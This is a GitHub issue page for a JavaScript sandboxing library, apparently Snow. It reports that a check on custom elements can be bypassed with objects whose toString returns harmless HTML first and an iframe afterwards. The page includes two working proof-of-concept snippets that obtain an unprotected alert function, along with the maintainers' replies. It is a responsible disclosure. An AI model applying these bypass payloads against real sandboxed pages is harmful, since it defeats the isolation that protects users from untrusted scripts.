-
Notifications
You must be signed in to change notification settings - Fork 9
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
customElements extends check can be bypassed using a non-string #145
Comments
The hook in before(args); // will operate on <u>legit html!</u>
const ret = Function.prototype.apply.call(native, this, args); // will operate on <iframe id=xxx srcdoc="<iframe>"></iframe>
after(args, element); class b extends HTMLElement {
constructor() {
super();
};
fetched=false;
toString() {
if(this.fetched){
return '<iframe id=xxx srcdoc="<iframe>"></iframe>';
}else{
return this.fetched='<u>legit html!</u>';
}
};
};
customElements.define('x-foo', b);
document.documentElement.insertAdjacentHTML("beforeend",document.createElement('x-foo'));
setTimeout(e=>{xxx.contentWindow.frames[0].alert(1)}, 1000); |
Thanks for contributing. The main maintainer of this project is temporary unavailable, but we'll definitely get back to this. Meanwhile we're also working with W3C to propose a basic building block of Snow getting introduced into the browser so that all of the monkey-patching can be eliminated in the future. https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html Feel free to update this issue with comments on how you think it should be addressed. We may reach out with questions later. |
Very nice, very creative and well explained - thank you @avlidienbrunn! a = document.createElement('a');
top.xxx = 0;
a.toString = () => {
console.log(top.xxx);
if (top.xxx === 1) {
return '<iframe srcdoc="<iframe>"></iframe>';
}
top.xxx++;
return '<legit>xxx</legit>';
}
document.body.innerHTML = a;
setTimeout(() => window[0][0].alert('bypass'), 101) would also work, because snow isn't well prepared for actual DOM nodes passed to HTML sinks... (AM OPEN FOR MITIGATION IDEAS/THOUGHTS!) |
The code for checking if the extended element is framable doesn't make sure that the value is a string (alternatively; that the value checked is the same value that is forwarded):
We can use a class that will return different
toString
return values to bypass the check (return "non-frame" first time, return frame second+ time). We can then useconnectedCallback
to get hold of the alert function from the extended iframe before its "poisoned":The text was updated successfully, but these errors were encountered: